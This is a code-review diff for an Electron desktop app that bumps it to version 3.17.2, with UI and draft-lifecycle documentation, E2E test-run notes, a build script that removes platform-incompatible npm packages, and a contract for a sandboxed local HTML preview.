+2026-10-17 P2 回归:`PLM-UI-001` run `desktop-e2e-20261017020217277-p10138-e212efe6fd1c84c2` 通过。新增真实 createSession RPC 暂停→主导航打开→切正式会话或另一工作区→回同项目草稿的取消断言;原草稿 guest 状态、首发和市场生命周期回归全部通过。首次运行因读取旧 draftRuntime 判断预热就绪而超时,改等真实插件 session 驱动的推荐入口后通过。跨工作区分支在补修前明确失败(旧请求仍非空),应用层订阅 tab 导航同步取消后通过。V4 删除等待退订、双插件待发送上下文隔离和草稿请求四类失效由定向单测补充;用例继续 pending。
+
+2026-10-19 合并回归:`PLM-UI-001` 增加草稿插件进入、退出侧栏完整视图的断言,检查同一 guest、未发送输入和零聊天行;Electron 44.7.0 run `desktop-e2e-20261019083107091-p99047-88013d9eda47c582` 通过。该用例覆盖允许一次与拒绝,不覆盖审批卡「完全访问」;随后真实 PDF 草稿实测发现完全访问授权缺少 session 主记录时发生外键错误,尚待修复与补充回归。
+
+真实 PDF Dev 复测确认 check_document 完全访问成功,后续轮询使用 yolo,无授权 gateway 错误且仍无 session/entry/message 持久记录;已有待审批请求保持原逐项应答/超时规则。独立复审无阻断项,草稿 rehydrate 与 pending 持久化拒绝路径的直接故障注入仍为非阻断测试缺口。
+
+2026-10-19 再次合并回归:PLM-UI-001 增加完全访问风险确认的勾选和确认步骤,确认前断言权限未变化;草稿页面单测同时覆盖握手前隐藏、fullscreen 能力登记、pane 卸载后的保活和最终释放。
+验证结果:macOS Electron 44.7.0 run `desktop-e2e-20261019141816996-p97481-20715c08f4641950` 一次通过(1/1,0 skipped),录屏保留;用例继续 pending。
+
+### 2026-10-28 草稿集成验收
+
+现行入口为已转正的 `plugins/plugin-management-ui-market.test.ts`,保留首轮前打开、审批、跨工作区返回、首发同 guest 和过期打开请求取消。2026-10-19 及更早的 App 单测记录为退役前历史证据;session 清理沿用统一生命周期 owner,仍由 CLI 回归验证。
+
+本轮 macOS Electron 44.7.0 run `desktop-e2e-20261028080939958-p772-17d40b5d35bfdf55` 完整通过(1/1,0 skipped),包括项目子菜单选择和原草稿全部断言,录屏及关键帧已留存。CLI 138 项与共享审批浏览器 8 项通过;浏览器覆盖 390/1200px、深浅主题,不代表手机实机。
+
+### 2026-10-30 v3.17.2 移植验收
+
+`PLM-UI-001` 在 hotfix 基线移植后首次运行通过(1/1、0 skipped),macOS arm64 / Electron 44.7.0。证据目录:`packages/desktop/.e2e-artifacts/desktop-e2e-20261030044614273-p5180-8d87823b0b07505c`,包含录屏、草稿授权后与首发后关键帧。原草稿入口、审批、零正式任务、跨工作区返回、首发同 guest、完整视图及旧打开请求取消断言全部执行。CLI 138 项、浏览器 8 项及类型/lint/架构/fixture 检查通过;不将历史 App 单测或工程 affected 未选中结果算作本轮通过测试。桌面为中文深色,审批浏览器覆盖 390/1200px、深浅主题;真实手机、Windows/Linux 和长时回收未验证。

+ 77 - 7
docs/ui/assistant-preview-cards.md

@@ -162,6 +162,15 @@ Their preview cards are shown only when the terminal row's turn reports an
 unavailable fetch function, reverted result, or failed request yields no Markdown
 or HTML cards. This failure does not suppress DOCX/XLSX/PPTX/PDF/video/audio cards.
 
+A stale-authority rejection (`proto.staleRevision`, `proto.staleLogEpoch`, or
+`proto.staleTarget`) is not treated as a final failure. A turn that has just
+completed can still have its projection revision advanced by trailing events,
+so the query's `baseRevision` may already be outdated when the Agent checks it.
+The card projection keeps Markdown/HTML hidden, waits for the stale recovery,
+and retries the same terminal target up to three times with a short increasing
+delay (150/300/450 ms). Only when those retries are exhausted, or on any other
+error, does the gate settle to "no changed paths".
+
 The turn header's `fileChanges.state` is the authoritative rewind state. When it
 changes to `reverted`, the card projection immediately clears previously loaded
 Markdown/HTML paths and does not wait for a detail query to rediscover the state.
@@ -250,15 +259,52 @@ unavailable, the transparent button is disabled together with the Open button.
 Because the surface is a real `<button>`, Tab focus and Enter or Space activation
 work without extra handlers, and its accessible name is the Open label plus the
 card title (Chinese: `打开 {title}`). The existing Open button and dropdown retain their original labels, flat
-application list, width and path-action order. Only the card context menu adds
-new actions; both entry points reuse the same opening handlers. File context
-menus offer Preview, Open (the system default application), an Open with submenu,
-then copying relative and absolute paths. The context menu omits Open containing
-folder and its separator. Chinese labels are 预览 and 打开.
+application list and width; both entry points reuse the same opening handlers.
+File context menus offer Preview, Open (the system default application), an Open
+with submenu, then the reveal entry described below, then copying relative and
+absolute paths. The legacy Open containing folder entry and its separator stay
+omitted. Chinese labels are 预览 and 打开.
 Website cards use the same Preview and Open labels for side-pane and browser
 actions, followed by copying the URL; file-backed local HTML additionally offers path actions.
 The card primary button continues to read Open for all card types.
 
+Both the card context menu and the Open dropdown offer one reveal entry that
+locates the card's local file in the platform file manager: on macOS / Windows it
+opens the parent folder with the file selected (falling back to opening the folder
+if selection fails); on Linux it opens the parent folder. The label follows the platform: `Open in Finder` / `在 Finder 中打开` on
+macOS, Explorer on Windows, and the generic file manager label elsewhere. The
+entry is shown only when the card has a local file the current Host can reveal:
+
+| Card                                                                       | Reveal path                          | Entry                        |
+| -------------------------------------------------------------------------- | ------------------------------------ | ---------------------------- |
+| File card (Office/PDF/media/Markdown)                                      | the card path                        | shown on desktop local / WSL |
+| `file://` HTML website card                                                | `localPath`                          | shown                        |
+| localhost website card whose URL path maps to an HTML written in this turn | `sourcePath` (the mapped `filePath`) | shown                        |
+| Plain URL, or any card in a remote (SSH/Docker/Web remote) workspace       | none                                 | omitted                      |
+
+The localhost-to-HTML mapping reuses the current-turn fileChanges gate, so it
+applies only when the reply also references that HTML path (the HTML card itself
+is then suppressed by the localhost rule). A reply that contains only the URL
+yields a plain URL card without `sourcePath`.
+
+`sourcePath` is used only for reveal. Opening a localhost card always passes the
+original URL to the Browser, never the `file://` source, so routes and dynamic
+content keep working. In the dropdown the reveal entry follows Open externally for
+website cards and follows the application list for file cards.
+
+Assistant body file links (`MessageFileLink`, the Markdown / citation link
+rendered inside the reply text, not a card) offer the same platform reveal item
+in their context menu. Order: Open, the application group (file associations for
+files, workspace editors for directories), a separator, then the reveal item,
+then Save as… (files only) and the path actions. A file link reveals the file in
+its parent folder with the file selected (`OpenInEditor` `finder` / `explorer`,
+`pathKind: "file"`; Linux or a failed locate falls back to opening the parent
+folder). A directory link (stat result, or an explicit trailing slash before stat
+returns) opens that directory itself through `OpenInFileManager`, never a
+select-file request. Visibility follows `useFileContextActions.canRevealInFileManager`
+like the card menus: local workspaces and WSL show it (WSL goes through
+`explorer` with the UNC path), SSH / Docker / other remote workspaces and Web hide it.
+
 Native file actions require the platform's explicit `canOpenLocalFiles` capability.
 Web and mobile omit them. Remote files never use the local default application;
 Open with retains the existing exact workspace identity/session match.
@@ -279,10 +325,34 @@ results after the target changes or unmounts. Both menus reuse the design system
 primitives, keyboard navigation, light/dark tokens and localized labels.
 
 APC14 acceptance: right-click a real Office card, verify accessible application names,
-explicit default-first ordering, first-three plus More grouping and no directory entry.
+explicit default-first ordering, first-three plus More grouping and that the legacy
+Open containing folder entry stays omitted (the platform reveal entry is APC15).
 Exercise 0/1/3/10 candidates with an isolated main IPC fixture, preview the file,
 and verify the selected application ID and file target at the IPC boundary.
-The fixture does not claim native enumeration or external application launch.
+For each candidate count, the local-workspace Open dropdown shows the platform
+file-manager item ("Open in Finder" / "Open in File Explorer" / "Open in File Manager")
+exactly once, after the application group and directly before Save as; the card
+context menu shows the same item (APC15). Clicking it on macOS / Windows sends exactly one `OpenInEditor` request
+(`finder` / `explorer`, the file path, `pathKind: "file"`) so the file manager
+opens the parent folder with the file selected; on Linux it sends exactly one
+`OpenInFileManager` request with the parent directory. No application-open
+request is sent.
+The fixture does not claim native enumeration, external application launch or
+a real file-manager window. Remote (SSH/Docker hidden, WSL shown) and Web
+(hidden) visibility are not covered by APC14.
+APC15 acceptance (macOS only; other platforms skip): with the main-process
+file-manager IPC replaced by an isolated probe, (a) a DOCX card's context menu
+and dropdown each send one `OpenInEditor` finder request for the file
+(`pathKind: "file"`), while a plain localhost URL card has an existing dropdown
+and neither menu offers the entry; (b) a localhost card whose URL path maps to an
+HTML written by this turn sends the same request for that HTML from both menus,
+and clicking the card still opens the original URL in the Browser; (c) in the reply
+body, right-clicking a Markdown link to the local DOCX shows the entry exactly once,
+after the application group and directly before Save as, and clicking it sends one
+`OpenInEditor("finder", <path>, {pathKind: "file"})` with no `OpenInFileManager`
+and no application-open request, while right-clicking a Markdown link to its folder
+(no Save as) sends one `OpenInFileManager(<dir>)` and no further select-file request.
+Windows/Linux labels and remote workspaces are not covered by this case.
 Browser acceptance (`packages/ui/test/browser/manual-review/pending/preview-card-actions.test.mjs`)
 covers the whole-card click contract for file and website cards: clicking the
 card body previews exactly once, clicking the Open button previews exactly

+ 23 - 0
docs/ui/project-task-draft-lifecycle.md

@@ -101,6 +101,25 @@ flowchart TD
 迁移读操作不写盘;明确保存/清除后记录旧数据已认领,防止项目换目录或正文删空后重新读出旧草稿。保留旧版可读取数据,不批量删除历史目录。
 导航另外记住每个工作区最后打开的新建作用域,仅用于刷新恢复入口;正文与 Recent 仍以项目/任务作用域为唯一数据源。
 
+### 远端草稿的创建前置(2026-10-30)
+
+远端连接可用不代表草稿项目归属已就绪。冷恢复缺少导航作用域记录时,Composer 可以编辑文字,但在当前草稿获得明确 projectId 前,不启动预热、不提交首发;按钮和键盘发送遵守同一个条件。用户通过已有项目入口选择项目后,现有预热流程继续。已有正式会话不依赖草稿 projectId,本地未归类草稿仍允许 projectId 为空。
+
+该条件直接从现有 workspace draftProjectId 派生,不新增归属缓存、定时等待或按 cwd 推断项目。Host 的远端项目校验继续作为最终边界。缺失记录是可重复的受控恢复夹具,不代表已证实用户记录因升级丢失。
+
+```mermaid
+flowchart LR
+    A[远端连接可用] --> B{当前草稿有 projectId}
+    B -->|无| C[保留编辑,等待选择项目]
+    C -->|已有项目入口| B
+    B -->|有| D[模型就绪后预热]
+    D --> E[首次发送接纳,保留项目归属]
+```
+
+2026-10-30 验证:基线 `7e348452fded4568f876c5c2c23198f304aae4ba` 在 `local-docker-20261030073004-aa5fa8` 冷恢复缺归属并按 Enter 后出现 6 次 `project.remote-project-required`。修复版 `packages/desktop/.e2e-artifacts/local-docker-20261030074146-15e10a` 的 PD13–PD16 完整通过:保留作用域冷启动预热 accepted;缺失作用域时无创建回执且输入保留、发送禁用;显式项目恢复后首发和正式会话续发成功;手机缺归属及恢复首发通过;本地未归类首发保持 projectId 为 NULL。成功发送均核对 Provider 请求,首发另查 Host 的实际项目归属;本轮运行日志无两个项目归属错误。
+
+桌面使用 macOS Electron 与独立 Linux arm64 SSH 容器;手机使用 Chrome 390px 触摸视口、真实配对与 shared Host,模型输出为 synthetic fast-text。手机缺归属通过现有 store 的 startDraft 构造,不声称手机自然恢复会丢失项目。原生 Windows/Linux、实体手机及用户缺失导航记录的成因未验证。测试保留 manual-review/pending,不自动转正或加入 CI。根类型、E2E 类型、lint、架构、schema 与受影响工程回归通过;工程夹具 11 项、架构工程检查 51 项通过。既有 lint 警告及 fixture 关闭时的 Vite 扫描警告不计为产品验证证据。
+
 ## 功能影响简报
 
 变更层级:draft-default、persistence、commit-effect、recovery。模式:implementation-handoff。
@@ -145,6 +164,10 @@ Graph drift:现有文本草稿节点只表达 workspace Recent;历史 new-ta
 | PD10 | 刷新、重启、同路径不同主机、桌面与手机分别编辑   | 身份稳定且各端独立;未知发送可查询恢复               | UT + Desktop/手机 E2E             |
 | PD11 | 合法旧 projectId 草稿、歧义旧记录、存储失败      | 仅可证明归属时认领;保留旧数据;写失败不清源         | UT                                |
 | PD12 | 文件/截图附件、分享导入、模板、分组、不可用模型  | 原流程可用;不误更新 Recent、不串归属                | 受影响 UT + 代表 E2E              |
+| PD13 | SSH 项目草稿保留作用域 → 断开 → 完整 App 冷启动           | 项目 ID 恢复;预热 accepted,无远端归属错误                                   | Desktop + SSH E2E                 |
+| PD14 | 只删除导航作用域 → 冷启动 → 输入并按 Enter → 显式项目新建 | 缺归属时零 createSession、输入保留、发送禁用;选项目后首发 accepted,归属正确 | Desktop + SSH E2E                 |
+| PD15 | 手机远控草稿缺项目归属 → 真实项目入口重开并发送           | 缺归属时零创建;项目恢复后首发与回执正确                                      | 手机视口 + shared Host + SSH E2E  |
+| PD16 | 本地未归类新建并首发                                      | 空 projectId 仍可预热和接纳,历史任务续发不受影响                             | Desktop E2E                       |
 
 所有 PD 用例产品语义 accepted。自动化按下面的分层证据核验;不把一个代表交互通过扩大为全部组合通过。
 E2E 使用 manual-review/pending;真实侧栏按钮,受控 Provider fast-text 与故障/延迟夹具;不通过 sleep 推断成功。

+ 2 - 2
docs/ui/workspace-file-tree-html-browser.md

@@ -2,7 +2,7 @@
 
 ## 目标
 
-文件树右键菜单对本地 `.html` / `.htm` 文件提供“用内置浏览器打开”动作。动作使用文件的绝对路径生成 `file://` URL,并交给现有右侧 Browser side pane 打开。
+文件树右键菜单对本地 `.html` / `.htm` 文件提供“用内置浏览器打开”动作。动作使用文件的绝对路径生成 `file://` URL,并交给现有右侧 Browser side pane;浏览器在 main 将其转换为[受控 HTML 预览地址](../browser-use/local-html-preview.md)后加载。
 
 ## 行为边界
 
@@ -13,5 +13,5 @@
 
 ## 验证
 
-- `packages/ui/test/workspaceFileTree.test.ts` 覆盖 HTML 扩展名识别和 `file://` URL 生成。
+- 浏览器安全与资源加载由 `packages/desktop/test/e2e/manual-review/pending/browser-local-html-preview.test.ts` 验证;文件树入口保持现有 HTML 类型判断。
 - 该变更不修改 ZCode session/task realtime、snapshot、queue、replayable/continuous 语义。

+ 2 - 2
package-lock.json

@@ -1,12 +1,12 @@
 {
   "name": "zcode",
-  "version": "3.17.1",
+  "version": "3.17.2",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
       "name": "zcode",
-      "version": "3.17.1",
+      "version": "3.17.2",
       "devDependencies": {
         "@vitest/coverage-v8": "^4.1.1",
         "concurrently": "^9.1.2",

+ 1 - 1
package.json

@@ -1,6 +1,6 @@
 {
   "name": "zcode",
-  "version": "3.17.1",
+  "version": "3.17.2",
   "private": true,
   "type": "module",
   "scripts": {

+ 6 - 0
packages/desktop/electron-builder.config.js

@@ -16,6 +16,7 @@ import {
   restoreTargetNodePtyPrebuild,
 } from "./scripts/node-pty-package-assets.mjs";
 import { cleanupPackagedSourcemaps } from "./scripts/packaged-sourcemap-cleanup.mjs";
+import { pruneIncompatiblePlatformPackages } from "./scripts/packaged-platform-dependency-prune.mjs";
 import { getTargetPlatform } from "./scripts/target-platform.mjs";
 import {
   resolveDesktopArtifactSuffix,
@@ -460,6 +461,11 @@ async function stripPackagedSourcemapReferences(context) {
         targetPlatformKey: targetPlatform.key,
         runAsarCommand,
       }),
+    pruneStagingDirectory:
+      targetPlatform.key === "win32-x64" &&
+      process.env.ZCODE_PRUNE_PACKAGED_PLATFORM_DEPENDENCIES === "1"
+        ? (stagingDir) => pruneIncompatiblePlatformPackages(stagingDir, targetPlatform)
+        : null,
   });
 }
 

+ 87 - 0
packages/desktop/scripts/packaged-platform-dependency-prune.mjs

@@ -0,0 +1,87 @@
+import { readdir, readFile, rm } from "node:fs/promises";
+import { join } from "node:path";
+
+function normalizeConstraint(value) {
+  if (value == null) return null;
+  return (Array.isArray(value) ? value : [value]).filter(
+    (entry) => typeof entry === "string" && entry.length > 0,
+  );
+}
+
+function matchesConstraint(targets, constraint) {
+  if (!constraint) return true;
+  if (constraint.length === 1 && constraint[0] === "any") return true;
+
+  let hasPositive = false;
+  let positiveMatch = false;
+  let negativeCount = 0;
+  for (const target of targets) {
+    for (const entry of constraint) {
+      if (entry.startsWith("!")) {
+        negativeCount += 1;
+        if (entry.slice(1) === target) return false;
+      } else {
+        hasPositive = true;
+        positiveMatch ||= entry === target;
+      }
+    }
+  }
+  return positiveMatch || (!hasPositive && negativeCount === constraint.length);
+}
+
+function isCompatible(packageJson, targetPlatform) {
+  return (
+    matchesConstraint([targetPlatform.os], normalizeConstraint(packageJson.os)) &&
+    matchesConstraint([targetPlatform.arch], normalizeConstraint(packageJson.cpu))
+  );
+}
+
+async function prunePackageDirectory(packageDirectory, targetPlatform, summary) {
+  let packageJson;
+  try {
+    packageJson = JSON.parse(await readFile(join(packageDirectory, "package.json"), "utf8"));
+  } catch (error) {
+    if (["ENOENT", "ENOTDIR"].includes(error.code)) return;
+    throw error;
+  }
+
+  if (!isCompatible(packageJson, targetPlatform)) {
+    await rm(packageDirectory, { recursive: true, force: true });
+    summary.packagesRemoved += 1;
+    summary.removedNames.push(packageJson.name ?? packageDirectory);
+    return;
+  }
+
+  await pruneNodeModulesDirectory(join(packageDirectory, "node_modules"), targetPlatform, summary);
+}
+
+async function pruneNodeModulesDirectory(nodeModulesDirectory, targetPlatform, summary) {
+  let entries;
+  try {
+    entries = await readdir(nodeModulesDirectory, { withFileTypes: true });
+  } catch (error) {
+    if (error.code === "ENOENT" || error.code === "ENOTDIR") return;
+    throw error;
+  }
+
+  for (const entry of entries) {
+    if (!entry.isDirectory()) continue;
+    const entryPath = join(nodeModulesDirectory, entry.name);
+    if (entry.name.startsWith("@")) {
+      const scopedEntries = await readdir(entryPath, { withFileTypes: true });
+      for (const scopedEntry of scopedEntries) {
+        if (scopedEntry.isDirectory()) {
+          await prunePackageDirectory(join(entryPath, scopedEntry.name), targetPlatform, summary);
+        }
+      }
+    } else {
+      await prunePackageDirectory(entryPath, targetPlatform, summary);
+    }
+  }
+}
+
+export async function pruneIncompatiblePlatformPackages(rootDirectory, targetPlatform) {
+  const summary = { packagesRemoved: 0, removedNames: [] };
+  await pruneNodeModulesDirectory(join(rootDirectory, "node_modules"), targetPlatform, summary);
+  return summary;
+}

+ 12 - 1
packages/desktop/scripts/packaged-sourcemap-cleanup.mjs

@@ -83,6 +83,7 @@ export async function cleanupPackagedSourcemaps({
   runTimedSync,
   runTimedAsync,
   replaceAppAsarFromStaging,
+  pruneStagingDirectory = null,
   logger = console,
 }) {
   if (existsSync(appAsarPath)) {
@@ -94,7 +95,17 @@ export async function cleanupPackagedSourcemaps({
       );
       const stripSummary = stripSourceMappingUrlCommentsInDirectory(stagingDir);
       const mapSummary = removeSourceMapFilesInDirectory(stagingDir);
-      if (stripSummary.referencesRemoved > 0 || mapSummary.filesRemoved > 0) {
+      const pruneSummary = pruneStagingDirectory ? await pruneStagingDirectory(stagingDir) : null;
+      if (
+        stripSummary.referencesRemoved > 0 ||
+        mapSummary.filesRemoved > 0 ||
+        (pruneSummary?.packagesRemoved ?? 0) > 0
+      ) {
+        if (pruneSummary?.packagesRemoved > 0) {
+          logger.log(
+            `[afterPack] removed incompatible platform packages count=${pruneSummary.packagesRemoved}: ${pruneSummary.removedNames.join(", ")}`,
+          );
+        }
         logger.log(
           `[afterPack] stripped sourceMappingURL references=${stripSummary.referencesRemoved} files=${stripSummary.filesChanged} maps=${mapSummary.filesRemoved}`,
         );

+ 12 - 0
packages/desktop/src/main/browser-local-preview/CONTRACT.md

@@ -0,0 +1,12 @@
+# 内置浏览器本地预览
+
+只服务于内置浏览器 partition。main 将可信宿主发起的本地 HTML 导航转换为签名目录地址,
+协议 handler 对每次资源请求验签和检查真实路径,原始 file 请求始终拒绝。
+
+- 签名密钥仅存于 main 当前进程,不持久化;与完整退出清空标签的既有行为一致。
+- 一个目录一个 origin;目录签名不能被页面用于授权另一个目录。
+- 所有 IO 异步;guest 导航序号阻止旧 IO 结果覆盖新导航。
+- 启动入口一次安装;IPC 只接受宿主主 frame 对自己 browser guest 的导航。
+- shared 仅提供协议名、平台端口及展示 URL 解码;解码不具有授权语义。
+
+规格:[本地 HTML 预览](../../../../../docs/browser-use/local-html-preview.md)。

Неке датотеке нису приказане због велике количине промена